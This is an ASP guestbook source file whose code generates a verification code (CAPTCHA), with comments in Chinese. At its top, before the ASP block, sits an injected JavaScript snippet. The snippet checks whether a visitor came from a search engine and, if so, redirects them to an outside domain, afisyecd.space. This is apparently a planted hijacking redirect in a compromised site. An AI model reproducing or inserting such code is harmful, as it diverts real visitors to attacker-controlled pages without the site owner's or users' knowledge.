d:\wwwroot\wuchunhua\liuyan\function.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'获得验证码的功能
003:
Sub GetSafeCode
004:
Dim test,Result
005:
On Error Resume Next '忽视产生的错误
006:
Set test=Server.CreateObject("Adodb.Stream") '产生Adodb.Stream对象
007:
Set test=Nothing
008:
'如果无法产生Adodb.Stream对象
009:
'也就是无法获得对客户端的输入输出流
010:
'则无法直接相客户端浏览器写入图片数据
011:
'因此直接产生字符随机码，并返回
012:
If Err Then
013:
Dim zNum
014:
Randomize timer
015:
zNum = cint(8999*Rnd+1000)
016:
Session("SafeCode") = CStr(zNum)
017:
Result = Session("SafeCode")
018:
Else
019:
'可以读写客户端输入输出流
020:
'调用checkcode.asp来产生图片
021:
Result = "<img src=""checkcode.asp"" align=""absmiddle"">"
022:
End If
023:
Response.Write Result
024:
End Sub
025:
%
>
026:
027: